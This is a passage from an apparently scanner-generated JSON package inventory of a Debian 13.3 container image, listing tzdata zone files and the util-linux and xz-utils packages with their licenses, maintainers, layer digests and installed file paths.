"/usr/share/zoneinfo/America/Blanc-Sablon", "/usr/share/zoneinfo/America/Boa_Vista", "/usr/share/zoneinfo/America/Bogota", "/usr/share/zoneinfo/America/Boise", "/usr/share/zoneinfo/America/Cambridge_Bay", "/usr/share/zoneinfo/America/Campo_Grande", "/usr/share/zoneinfo/America/Cancun", "/usr/share/zoneinfo/America/Caracas", "/usr/share/zoneinfo/America/Cayenne", "/usr/share/zoneinfo/America/Cayman", "/usr/share/zoneinfo/America/Chicago", "/usr/share/zoneinfo/America/Chihuahua", "/usr/share/zoneinfo/America/Ciudad_Juarez", "/usr/share/zoneinfo/America/Costa_Rica", "/usr/share/zoneinfo/America/Coyhaique", "/usr/share/zoneinfo/America/Creston", "/usr/share/zoneinfo/America/Cuiaba", "/usr/share/zoneinfo/America/Curacao", "/usr/share/zoneinfo/America/Danmarkshavn", "/usr/share/zoneinfo/America/Dawson", "/usr/share/zoneinfo/America/Dawson_Creek", "/usr/share/zoneinfo/America/Denver", "/usr/share/zoneinfo/America/Detroit", "/usr/share/zoneinfo/America/Dominica", "/usr/share/zoneinfo/America/Edmonton", "/usr/share/zoneinfo/America/Eirunepe", "/usr/share/zoneinfo/America/El_Salvador", "/usr/share/zoneinfo/America/Fort_Nelson", "/usr/share/zoneinfo/America/Fortaleza", "/usr/share/zoneinfo/America/Glace_Bay", "/usr/share/zoneinfo/America/Goose_Bay", "/usr/share/zoneinfo/America/Grand_Turk", "/usr/share/zoneinfo/America/Grenada", "/usr/share/zoneinfo/America/Guadeloupe", "/usr/share/zoneinfo/America/Guatemala", "/usr/share/zoneinfo/America/Guayaquil", "/usr/share/zoneinfo/America/Guyana", "/usr/share/zoneinfo/America/Halifax", "/usr/share/zoneinfo/America/Havana", "/usr/share/zoneinfo/America/Hermosillo", "/usr/share/zoneinfo/America/Indiana/Indianapolis", "/usr/share/zoneinfo/America/Indiana/Knox", "/usr/share/zoneinfo/America/Indiana/Marengo", "/usr/share/zoneinfo/America/Indiana/Petersburg", "/usr/share/zoneinfo/America/Indiana/Tell_City", "/usr/share/zoneinfo/America/Indiana/Vevay", "/usr/share/zoneinfo/America/Indiana/Vincennes", "/usr/share/zoneinfo/America/Indiana/Winamac", "/usr/share/zoneinfo/America/Inuvik", "/usr/share/zoneinfo/America/Iqaluit", "/usr/share/zoneinfo/America/Jamaica", "/usr/share/zoneinfo/America/Juneau", "/usr/share/zoneinfo/America/Kentucky/Louisville", "/usr/share/zoneinfo/America/Kentucky/Monticello", "/usr/share/zoneinfo/America/La_Paz", "/usr/share/zoneinfo/America/Lima", "/usr/share/zoneinfo/America/Los_Angeles", "/usr/share/zoneinfo/America/Maceio", "/usr/share/zoneinfo/America/Managua", "/usr/share/zoneinfo/America/Manaus", "/usr/share/zoneinfo/America/Martinique", "/usr/share/zoneinfo/America/Matamoros", "/usr/share/zoneinfo/America/Mazatlan", "/usr/share/zoneinfo/America/Menominee", "/usr/share/zoneinfo/America/Merida", "/usr/share/zoneinfo/America/Metlakatla", "/usr/share/zoneinfo/America/Mexico_City", "/usr/share/zoneinfo/America/Miquelon", "/usr/share/zoneinfo/America/Moncton", "/usr/share/zoneinfo/America/Monterrey", "/usr/share/zoneinfo/America/Montevideo", "/usr/share/zoneinfo/America/Montserrat", "/usr/share/zoneinfo/America/Nassau", "/usr/share/zoneinfo/America/New_York", "/usr/share/zoneinfo/America/Nome", "/usr/share/zoneinfo/America/Noronha", "/usr/share/zoneinfo/America/North_Dakota/Beulah", "/usr/share/zoneinfo/America/North_Dakota/Center", "/usr/share/zoneinfo/America/North_Dakota/New_Salem", "/usr/share/zoneinfo/America/Nuuk", "/usr/share/zoneinfo/America/Ojinaga", "/usr/share/zoneinfo/America/Panama", "/usr/share/zoneinfo/America/Paramaribo", "/usr/share/zoneinfo/America/Phoenix", "/usr/share/zoneinfo/America/Port-au-Prince", "/usr/share/zoneinfo/America/Port_of_Spain", "/usr/share/zoneinfo/America/Porto_Velho", "/usr/share/zoneinfo/America/Puerto_Rico", "/usr/share/zoneinfo/America/Punta_Arenas", "/usr/share/zoneinfo/America/Rankin_Inlet", "/usr/share/zoneinfo/America/Recife", "/usr/share/zoneinfo/America/Regina", "/usr/share/zoneinfo/America/Resolute", "/usr/share/zoneinfo/America/Rio_Branco", "/usr/share/zoneinfo/America/Santarem", "/usr/share/zoneinfo/America/Santiago", "/usr/share/zoneinfo/America/Santo_Domingo", "/usr/share/zoneinfo/America/Sao_Paulo", "/usr/share/zoneinfo/America/Scoresbysund", "/usr/share/zoneinfo/America/Sitka", "/usr/share/zoneinfo/America/St_Johns", "/usr/share/zoneinfo/America/St_Kitts", "/usr/share/zoneinfo/America/St_Lucia", "/usr/share/zoneinfo/America/St_Thomas", "/usr/share/zoneinfo/America/St_Vincent", "/usr/share/zoneinfo/America/Swift_Current", "/usr/share/zoneinfo/America/Tegucigalpa", "/usr/share/zoneinfo/America/Thule", "/usr/share/zoneinfo/America/Tijuana", "/usr/share/zoneinfo/America/Toronto", "/usr/share/zoneinfo/America/Tortola", "/usr/share/zoneinfo/America/Vancouver", "/usr/share/zoneinfo/America/Whitehorse", "/usr/share/zoneinfo/America/Winnipeg", "/usr/share/zoneinfo/America/Yakutat", "/usr/share/zoneinfo/Antarctica/Casey", "/usr/share/zoneinfo/Antarctica/Davis", "/usr/share/zoneinfo/Antarctica/DumontDUrville", "/usr/share/zoneinfo/Antarctica/Macquarie", "/usr/share/zoneinfo/Antarctica/Mawson", "/usr/share/zoneinfo/Antarctica/McMurdo", "/usr/share/zoneinfo/Antarctica/Palmer", "/usr/share/zoneinfo/Antarctica/Rothera", "/usr/share/zoneinfo/Antarctica/Syowa", "/usr/share/zoneinfo/Antarctica/Troll", "/usr/share/zoneinfo/Antarctica/Vostok", "/usr/share/zoneinfo/Asia/Aden", "/usr/share/zoneinfo/Asia/Almaty", "/usr/share/zoneinfo/Asia/Amman", "/usr/share/zoneinfo/Asia/Anadyr", "/usr/share/zoneinfo/Asia/Aqtau", "/usr/share/zoneinfo/Asia/Aqtobe", "/usr/share/zoneinfo/Asia/Ashgabat", "/usr/share/zoneinfo/Asia/Atyrau", "/usr/share/zoneinfo/Asia/Baghdad", "/usr/share/zoneinfo/Asia/Bahrain", "/usr/share/zoneinfo/Asia/Baku", "/usr/share/zoneinfo/Asia/Bangkok", "/usr/share/zoneinfo/Asia/Barnaul", "/usr/share/zoneinfo/Asia/Beirut", "/usr/share/zoneinfo/Asia/Bishkek", "/usr/share/zoneinfo/Asia/Brunei", "/usr/share/zoneinfo/Asia/Chita", "/usr/share/zoneinfo/Asia/Colombo", "/usr/share/zoneinfo/Asia/Damascus", "/usr/share/zoneinfo/Asia/Dhaka", "/usr/share/zoneinfo/Asia/Dili", "/usr/share/zoneinfo/Asia/Dubai", "/usr/share/zoneinfo/Asia/Dushanbe", "/usr/share/zoneinfo/Asia/Famagusta", "/usr/share/zoneinfo/Asia/Gaza", "/usr/share/zoneinfo/Asia/Hebron", "/usr/share/zoneinfo/Asia/Ho_Chi_Minh", "/usr/share/zoneinfo/Asia/Hong_Kong", "/usr/share/zoneinfo/Asia/Hovd", "/usr/share/zoneinfo/Asia/Irkutsk", "/usr/share/zoneinfo/Asia/Jakarta", "/usr/share/zoneinfo/Asia/Jayapura", "/usr/share/zoneinfo/Asia/Jerusalem", "/usr/share/zoneinfo/Asia/Kabul", "/usr/share/zoneinfo/Asia/Kamchatka", "/usr/share/zoneinfo/Asia/Karachi", "/usr/share/zoneinfo/Asia/Kathmandu", "/usr/share/zoneinfo/Asia/Khandyga", "/usr/share/zoneinfo/Asia/Kolkata", "/usr/share/zoneinfo/Asia/Krasnoyarsk", "/usr/share/zoneinfo/Asia/Kuala_Lumpur", "/usr/share/zoneinfo/Asia/Kuching", "/usr/share/zoneinfo/Asia/Kuwait", "/usr/share/zoneinfo/Asia/Macau", "/usr/share/zoneinfo/Asia/Magadan", "/usr/share/zoneinfo/Asia/Makassar", "/usr/share/zoneinfo/Asia/Manila", "/usr/share/zoneinfo/Asia/Muscat", "/usr/share/zoneinfo/Asia/Nicosia", "/usr/share/zoneinfo/Asia/Novokuznetsk", "/usr/share/zoneinfo/Asia/Novosibirsk", "/usr/share/zoneinfo/Asia/Omsk", "/usr/share/zoneinfo/Asia/Oral", "/usr/share/zoneinfo/Asia/Phnom_Penh", "/usr/share/zoneinfo/Asia/Pontianak", "/usr/share/zoneinfo/Asia/Pyongyang", "/usr/share/zoneinfo/Asia/Qatar", "/usr/share/zoneinfo/Asia/Qostanay", "/usr/share/zoneinfo/Asia/Qyzylorda", "/usr/share/zoneinfo/Asia/Riyadh", "/usr/share/zoneinfo/Asia/Sakhalin", "/usr/share/zoneinfo/Asia/Samarkand", "/usr/share/zoneinfo/Asia/Seoul", "/usr/share/zoneinfo/Asia/Shanghai", "/usr/share/zoneinfo/Asia/Singapore", "/usr/share/zoneinfo/Asia/Srednekolymsk", "/usr/share/zoneinfo/Asia/Taipei", "/usr/share/zoneinfo/Asia/Tashkent", "/usr/share/zoneinfo/Asia/Tbilisi", "/usr/share/zoneinfo/Asia/Tehran", "/usr/share/zoneinfo/Asia/Thimphu", "/usr/share/zoneinfo/Asia/Tokyo", "/usr/share/zoneinfo/Asia/Tomsk", "/usr/share/zoneinfo/Asia/Ulaanbaatar", "/usr/share/zoneinfo/Asia/Urumqi", "/usr/share/zoneinfo/Asia/Ust-Nera", "/usr/share/zoneinfo/Asia/Vientiane", "/usr/share/zoneinfo/Asia/Vladivostok", "/usr/share/zoneinfo/Asia/Yakutsk", "/usr/share/zoneinfo/Asia/Yangon", "/usr/share/zoneinfo/Asia/Yekaterinburg", "/usr/share/zoneinfo/Asia/Yerevan", "/usr/share/zoneinfo/Atlantic/Azores", "/usr/share/zoneinfo/Atlantic/Bermuda", "/usr/share/zoneinfo/Atlantic/Canary", "/usr/share/zoneinfo/Atlantic/Cape_Verde", "/usr/share/zoneinfo/Atlantic/Faroe", "/usr/share/zoneinfo/Atlantic/Madeira", "/usr/share/zoneinfo/Atlantic/Reykjavik", "/usr/share/zoneinfo/Atlantic/South_Georgia", "/usr/share/zoneinfo/Atlantic/St_Helena", "/usr/share/zoneinfo/Atlantic/Stanley", "/usr/share/zoneinfo/Australia/Adelaide", "/usr/share/zoneinfo/Australia/Brisbane", "/usr/share/zoneinfo/Australia/Broken_Hill", "/usr/share/zoneinfo/Australia/Darwin", "/usr/share/zoneinfo/Australia/Eucla", "/usr/share/zoneinfo/Australia/Hobart", "/usr/share/zoneinfo/Australia/Lindeman", "/usr/share/zoneinfo/Australia/Lord_Howe", "/usr/share/zoneinfo/Australia/Melbourne", "/usr/share/zoneinfo/Australia/Perth", "/usr/share/zoneinfo/Australia/Sydney", "/usr/share/zoneinfo/Etc/GMT", "/usr/share/zoneinfo/Etc/GMT+1", "/usr/share/zoneinfo/Etc/GMT+10", "/usr/share/zoneinfo/Etc/GMT+11", "/usr/share/zoneinfo/Etc/GMT+12", "/usr/share/zoneinfo/Etc/GMT+2", "/usr/share/zoneinfo/Etc/GMT+3", "/usr/share/zoneinfo/Etc/GMT+4", "/usr/share/zoneinfo/Etc/GMT+5", "/usr/share/zoneinfo/Etc/GMT+6", "/usr/share/zoneinfo/Etc/GMT+7", "/usr/share/zoneinfo/Etc/GMT+8", "/usr/share/zoneinfo/Etc/GMT+9", "/usr/share/zoneinfo/Etc/GMT-1", "/usr/share/zoneinfo/Etc/GMT-10", "/usr/share/zoneinfo/Etc/GMT-11", "/usr/share/zoneinfo/Etc/GMT-12", "/usr/share/zoneinfo/Etc/GMT-13", "/usr/share/zoneinfo/Etc/GMT-14", "/usr/share/zoneinfo/Etc/GMT-2", "/usr/share/zoneinfo/Etc/GMT-3", "/usr/share/zoneinfo/Etc/GMT-4", "/usr/share/zoneinfo/Etc/GMT-5", "/usr/share/zoneinfo/Etc/GMT-6", "/usr/share/zoneinfo/Etc/GMT-7", "/usr/share/zoneinfo/Etc/GMT-8", "/usr/share/zoneinfo/Etc/GMT-9", "/usr/share/zoneinfo/Etc/UTC", "/usr/share/zoneinfo/Europe/Amsterdam", "/usr/share/zoneinfo/Europe/Andorra", "/usr/share/zoneinfo/Europe/Astrakhan", "/usr/share/zoneinfo/Europe/Athens", "/usr/share/zoneinfo/Europe/Belgrade", "/usr/share/zoneinfo/Europe/Berlin", "/usr/share/zoneinfo/Europe/Brussels", "/usr/share/zoneinfo/Europe/Bucharest", "/usr/share/zoneinfo/Europe/Budapest", "/usr/share/zoneinfo/Europe/Chisinau", "/usr/share/zoneinfo/Europe/Copenhagen", "/usr/share/zoneinfo/Europe/Dublin", "/usr/share/zoneinfo/Europe/Gibraltar", "/usr/share/zoneinfo/Europe/Guernsey", "/usr/share/zoneinfo/Europe/Helsinki", "/usr/share/zoneinfo/Europe/Isle_of_Man", "/usr/share/zoneinfo/Europe/Istanbul", "/usr/share/zoneinfo/Europe/Jersey", "/usr/share/zoneinfo/Europe/Kaliningrad", "/usr/share/zoneinfo/Europe/Kirov", "/usr/share/zoneinfo/Europe/Kyiv", "/usr/share/zoneinfo/Europe/Lisbon", "/usr/share/zoneinfo/Europe/Ljubljana", "/usr/share/zoneinfo/Europe/London", "/usr/share/zoneinfo/Europe/Luxembourg", "/usr/share/zoneinfo/Europe/Madrid", "/usr/share/zoneinfo/Europe/Malta", "/usr/share/zoneinfo/Europe/Minsk", "/usr/share/zoneinfo/Europe/Monaco", "/usr/share/zoneinfo/Europe/Moscow", "/usr/share/zoneinfo/Europe/Oslo", "/usr/share/zoneinfo/Europe/Paris", "/usr/share/zoneinfo/Europe/Prague", "/usr/share/zoneinfo/Europe/Riga", "/usr/share/zoneinfo/Europe/Rome", "/usr/share/zoneinfo/Europe/Samara", "/usr/share/zoneinfo/Europe/Sarajevo", "/usr/share/zoneinfo/Europe/Saratov", "/usr/share/zoneinfo/Europe/Simferopol", "/usr/share/zoneinfo/Europe/Skopje", "/usr/share/zoneinfo/Europe/Sofia", "/usr/share/zoneinfo/Europe/Stockholm", "/usr/share/zoneinfo/Europe/Tallinn", "/usr/share/zoneinfo/Europe/Tirane", "/usr/share/zoneinfo/Europe/Ulyanovsk", "/usr/share/zoneinfo/Europe/Vaduz", "/usr/share/zoneinfo/Europe/Vienna", "/usr/share/zoneinfo/Europe/Vilnius", "/usr/share/zoneinfo/Europe/Volgograd", "/usr/share/zoneinfo/Europe/Warsaw", "/usr/share/zoneinfo/Europe/Zagreb", "/usr/share/zoneinfo/Europe/Zurich", "/usr/share/zoneinfo/Factory", "/usr/share/zoneinfo/Indian/Antananarivo", "/usr/share/zoneinfo/Indian/Chagos", "/usr/share/zoneinfo/Indian/Christmas", "/usr/share/zoneinfo/Indian/Cocos", "/usr/share/zoneinfo/Indian/Comoro", "/usr/share/zoneinfo/Indian/Kerguelen", "/usr/share/zoneinfo/Indian/Mahe", "/usr/share/zoneinfo/Indian/Maldives", "/usr/share/zoneinfo/Indian/Mauritius", "/usr/share/zoneinfo/Indian/Mayotte", "/usr/share/zoneinfo/Indian/Reunion", "/usr/share/zoneinfo/Pacific/Apia", "/usr/share/zoneinfo/Pacific/Auckland", "/usr/share/zoneinfo/Pacific/Bougainville", "/usr/share/zoneinfo/Pacific/Chatham", "/usr/share/zoneinfo/Pacific/Chuuk", "/usr/share/zoneinfo/Pacific/Easter", "/usr/share/zoneinfo/Pacific/Efate", "/usr/share/zoneinfo/Pacific/Fakaofo", "/usr/share/zoneinfo/Pacific/Fiji", "/usr/share/zoneinfo/Pacific/Funafuti", "/usr/share/zoneinfo/Pacific/Galapagos", "/usr/share/zoneinfo/Pacific/Gambier", "/usr/share/zoneinfo/Pacific/Guadalcanal", "/usr/share/zoneinfo/Pacific/Guam", "/usr/share/zoneinfo/Pacific/Honolulu", "/usr/share/zoneinfo/Pacific/Kanton", "/usr/share/zoneinfo/Pacific/Kiritimati", "/usr/share/zoneinfo/Pacific/Kosrae", "/usr/share/zoneinfo/Pacific/Kwajalein", "/usr/share/zoneinfo/Pacific/Majuro", "/usr/share/zoneinfo/Pacific/Marquesas", "/usr/share/zoneinfo/Pacific/Midway", "/usr/share/zoneinfo/Pacific/Nauru", "/usr/share/zoneinfo/Pacific/Niue", "/usr/share/zoneinfo/Pacific/Norfolk", "/usr/share/zoneinfo/Pacific/Noumea", "/usr/share/zoneinfo/Pacific/Pago_Pago", "/usr/share/zoneinfo/Pacific/Palau", "/usr/share/zoneinfo/Pacific/Pitcairn", "/usr/share/zoneinfo/Pacific/Pohnpei", "/usr/share/zoneinfo/Pacific/Port_Moresby", "/usr/share/zoneinfo/Pacific/Rarotonga", "/usr/share/zoneinfo/Pacific/Saipan", "/usr/share/zoneinfo/Pacific/Tahiti", "/usr/share/zoneinfo/Pacific/Tarawa", "/usr/share/zoneinfo/Pacific/Tongatapu", "/usr/share/zoneinfo/Pacific/Wake", "/usr/share/zoneinfo/Pacific/Wallis", "/usr/share/zoneinfo/iso3166.tab", "/usr/share/zoneinfo/leap-seconds.list", "/usr/share/zoneinfo/leapseconds", "/usr/share/zoneinfo/tzdata.zi", "/usr/share/zoneinfo/zone.tab", "/usr/share/zoneinfo/zone1970.tab", "/usr/share/zoneinfo/zonenow.tab" ], "AnalyzedBy": "dpkg" }, { "ID": "util-linux@2.41-5", "Name": "util-linux", "Identifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "972fb85b9c9e83e7" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/choom", "/usr/bin/chrt", "/usr/bin/dmesg", "/usr/bin/fallocate", "/usr/bin/findmnt", "/usr/bin/flock", "/usr/bin/getopt", "/usr/bin/hardlink", "/usr/bin/ionice", "/usr/bin/ipcmk", "/usr/bin/ipcrm", "/usr/bin/ipcs", "/usr/bin/lsblk", "/usr/bin/lscpu", "/usr/bin/lsipc", "/usr/bin/lslocks", "/usr/bin/lslogins", "/usr/bin/lsmem", "/usr/bin/lsns", "/usr/bin/mcookie", "/usr/bin/more", "/usr/bin/mountpoint", "/usr/bin/namei", "/usr/bin/nsenter", "/usr/bin/partx", "/usr/bin/prlimit", "/usr/bin/rename.ul", "/usr/bin/rev", "/usr/bin/setarch", "/usr/bin/setpriv", "/usr/bin/setsid", "/usr/bin/setterm", "/usr/bin/su", "/usr/bin/taskset", "/usr/bin/uclampset", "/usr/bin/unshare", "/usr/bin/wdctl", "/usr/bin/whereis", "/usr/lib/mime/packages/util-linux", "/usr/lib/systemd/system/fstrim.service", "/usr/lib/systemd/system/fstrim.timer", "/usr/sbin/agetty", "/usr/sbin/blkdiscard", "/usr/sbin/blkid", "/usr/sbin/blkzone", "/usr/sbin/blockdev", "/usr/sbin/chcpu", "/usr/sbin/chmem", "/usr/sbin/findfs", "/usr/sbin/fsck", "/usr/sbin/fsfreeze", "/usr/sbin/fstrim", "/usr/sbin/isosize", "/usr/sbin/ldattach", "/usr/sbin/mkfs", "/usr/sbin/mkswap", "/usr/sbin/pivot_root", "/usr/sbin/readprofile", "/usr/sbin/rtcwake", "/usr/sbin/runuser", "/usr/sbin/sulogin", "/usr/sbin/swaplabel", "/usr/sbin/switch_root", "/usr/sbin/wipefs", "/usr/sbin/zramctl", "/usr/share/bash-completion/completions/blkdiscard", "/usr/share/bash-completion/completions/blkid", "/usr/share/bash-completion/completions/blkzone", "/usr/share/bash-completion/completions/blockdev", "/usr/share/bash-completion/completions/chcpu", "/usr/share/bash-completion/completions/chmem", "/usr/share/bash-completion/completions/chrt", "/usr/share/bash-completion/completions/dmesg", "/usr/share/bash-completion/completions/fallocate", "/usr/share/bash-completion/completions/findfs", "/usr/share/bash-completion/completions/findmnt", "/usr/share/bash-completion/completions/flock", "/usr/share/bash-completion/completions/fsck", "/usr/share/bash-completion/completions/fsfreeze", "/usr/share/bash-completion/completions/fstrim", "/usr/share/bash-completion/completions/getopt", "/usr/share/bash-completion/completions/hardlink", "/usr/share/bash-completion/completions/ionice", "/usr/share/bash-completion/completions/ipcmk", "/usr/share/bash-completion/completions/ipcrm", "/usr/share/bash-completion/completions/ipcs", "/usr/share/bash-completion/completions/isosize", "/usr/share/bash-completion/completions/ldattach", "/usr/share/bash-completion/completions/lsblk", "/usr/share/bash-completion/completions/lscpu", "/usr/share/bash-completion/completions/lsipc", "/usr/share/bash-completion/completions/lslocks", "/usr/share/bash-completion/completions/lslogins", "/usr/share/bash-completion/completions/lsmem", "/usr/share/bash-completion/completions/lsns", "/usr/share/bash-completion/completions/mcookie", "/usr/share/bash-completion/completions/mkfs", "/usr/share/bash-completion/completions/mkswap", "/usr/share/bash-completion/completions/more", "/usr/share/bash-completion/completions/mountpoint", "/usr/share/bash-completion/completions/namei", "/usr/share/bash-completion/completions/nsenter", "/usr/share/bash-completion/completions/partx", "/usr/share/bash-completion/completions/pivot_root", "/usr/share/bash-completion/completions/prlimit", "/usr/share/bash-completion/completions/readprofile", "/usr/share/bash-completion/completions/rename.ul", "/usr/share/bash-completion/completions/rev", "/usr/share/bash-completion/completions/rtcwake", "/usr/share/bash-completion/completions/setarch", "/usr/share/bash-completion/completions/setpriv", "/usr/share/bash-completion/completions/setsid", "/usr/share/bash-completion/completions/setterm", "/usr/share/bash-completion/completions/su", "/usr/share/bash-completion/completions/swaplabel", "/usr/share/bash-completion/completions/taskset", "/usr/share/bash-completion/completions/uclampset", "/usr/share/bash-completion/completions/unshare", "/usr/share/bash-completion/completions/wdctl", "/usr/share/bash-completion/completions/whereis", "/usr/share/bash-completion/completions/wipefs", "/usr/share/bash-completion/completions/zramctl", "/usr/share/doc/util-linux/00-about-docs.txt", "/usr/share/doc/util-linux/AUTHORS.gz", "/usr/share/doc/util-linux/NEWS.Debian.gz", "/usr/share/doc/util-linux/PAM-configuration.txt", "/usr/share/doc/util-linux/README.Debian", "/usr/share/doc/util-linux/blkid.txt", "/usr/share/doc/util-linux/cal.txt", "/usr/share/doc/util-linux/changelog.Debian.gz", "/usr/share/doc/util-linux/changelog.gz", "/usr/share/doc/util-linux/col.txt", "/usr/share/doc/util-linux/copyright", "/usr/share/doc/util-linux/deprecated.txt", "/usr/share/doc/util-linux/examples/getopt-example.bash", "/usr/share/doc/util-linux/getopt.txt", "/usr/share/doc/util-linux/getopt_changelog.txt", "/usr/share/doc/util-linux/howto-build-sys.txt", "/usr/share/doc/util-linux/howto-compilation.txt", "/usr/share/doc/util-linux/howto-contribute.txt.gz", "/usr/share/doc/util-linux/howto-debug.txt", "/usr/share/doc/util-linux/howto-man-page.txt", "/usr/share/doc/util-linux/howto-pull-request.txt.gz", "/usr/share/doc/util-linux/howto-tests.txt", "/usr/share/doc/util-linux/howto-usage-function.txt.gz", "/usr/share/doc/util-linux/hwclock.txt", "/usr/share/doc/util-linux/modems-with-agetty.txt", "/usr/share/doc/util-linux/mount.txt", "/usr/share/doc/util-linux/parse-date.txt.gz", "/usr/share/doc/util-linux/pg.txt", "/usr/share/doc/util-linux/poeigl.txt.gz", "/usr/share/doc/util-linux/release-schedule.txt", "/usr/share/doc/util-linux/releases/v2.13-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.14-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.15-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.16-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.17-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.18-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.19-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.20-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.21-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.22-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.23-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.24-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.25-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.26-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.27-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.28-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.29-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.30-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.31-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.32-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.33-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.34-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.35-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.36-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.37-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.38-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.39-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.40-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.41-ReleaseNotes.gz", "/usr/share/lintian/overrides/util-linux", "/usr/share/man/man1/choom.1.gz", "/usr/share/man/man1/chrt.1.gz", "/usr/share/man/man1/dmesg.1.gz", "/usr/share/man/man1/fallocate.1.gz", "/usr/share/man/man1/flock.1.gz", "/usr/share/man/man1/getopt.1.gz", "/usr/share/man/man1/hardlink.1.gz", "/usr/share/man/man1/ionice.1.gz", "/usr/share/man/man1/ipcmk.1.gz", "/usr/share/man/man1/ipcrm.1.gz", "/usr/share/man/man1/ipcs.1.gz", "/usr/share/man/man1/lscpu.1.gz", "/usr/share/man/man1/lsipc.1.gz", "/usr/share/man/man1/lslogins.1.gz", "/usr/share/man/man1/lsmem.1.gz", "/usr/share/man/man1/mcookie.1.gz", "/usr/share/man/man1/more.1.gz", "/usr/share/man/man1/mountpoint.1.gz", "/usr/share/man/man1/namei.1.gz", "/usr/share/man/man1/nsenter.1.gz", "/usr/share/man/man1/prlimit.1.gz", "/usr/share/man/man1/rename.ul.1.gz", "/usr/share/man/man1/rev.1.gz", "/usr/share/man/man1/runuser.1.gz", "/usr/share/man/man1/setpriv.1.gz", "/usr/share/man/man1/setsid.1.gz", "/usr/share/man/man1/setterm.1.gz", "/usr/share/man/man1/su.1.gz", "/usr/share/man/man1/taskset.1.gz", "/usr/share/man/man1/uclampset.1.gz", "/usr/share/man/man1/unshare.1.gz", "/usr/share/man/man1/whereis.1.gz", "/usr/share/man/man5/adjtime_config.5.gz", "/usr/share/man/man5/scols-filter.5.gz", "/usr/share/man/man5/terminal-colors.d.5.gz", "/usr/share/man/man8/agetty.8.gz", "/usr/share/man/man8/blkdiscard.8.gz", "/usr/share/man/man8/blkid.8.gz", "/usr/share/man/man8/blkzone.8.gz", "/usr/share/man/man8/blockdev.8.gz", "/usr/share/man/man8/chcpu.8.gz", "/usr/share/man/man8/chmem.8.gz", "/usr/share/man/man8/findfs.8.gz", "/usr/share/man/man8/findmnt.8.gz", "/usr/share/man/man8/fsck.8.gz", "/usr/share/man/man8/fsfreeze.8.gz", "/usr/share/man/man8/fstrim.8.gz", "/usr/share/man/man8/isosize.8.gz", "/usr/share/man/man8/ldattach.8.gz", "/usr/share/man/man8/lsblk.8.gz", "/usr/share/man/man8/lslocks.8.gz", "/usr/share/man/man8/lsns.8.gz", "/usr/share/man/man8/mkfs.8.gz", "/usr/share/man/man8/mkswap.8.gz", "/usr/share/man/man8/partx.8.gz", "/usr/share/man/man8/pivot_root.8.gz", "/usr/share/man/man8/readprofile.8.gz", "/usr/share/man/man8/rtcwake.8.gz", "/usr/share/man/man8/setarch.8.gz", "/usr/share/man/man8/sulogin.8.gz", "/usr/share/man/man8/swaplabel.8.gz", "/usr/share/man/man8/switch_root.8.gz", "/usr/share/man/man8/wdctl.8.gz", "/usr/share/man/man8/wipefs.8.gz", "/usr/share/man/man8/zramctl.8.gz", "/usr/share/util-linux/logcheck/ignore.d.server/util-linux" ], "AnalyzedBy": "dpkg" }, { "ID": "xz-utils@5.8.1-1", "Name": "xz-utils", "Identifier": { "PURL": "pkg:deb/debian/xz-utils@5.8.1-1?arch=amd64\u0026distro=debian-13.3", "UID": "5f9af938a5acd1a1" }, "Version": "5.8.1", "Release": "1", "Arch": "amd64", "SrcName": "xz-utils", "SrcVersion": "5.8.1", "SrcRelease": "1", "Licenses": [ "0BSD", "GPL-2.0-or-later", "LGPL-2.1-or-later", "FSFULLR", "GPL-3.0-or-later-WITH-Autoconf-exception-macro", "none", "PD", "permissive-nowarranty", "FSFUL", "noderivs", "PD-debian", "LGPL-2.1-only", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "Sebastian Andrzej Siewior \u003csebastian@breakpoint.cc\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "liblzma5@5.8.1-1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/lzmainfo", "/usr/bin/xz", "/usr/bin/xzdiff", "/usr/bin/xzgrep", 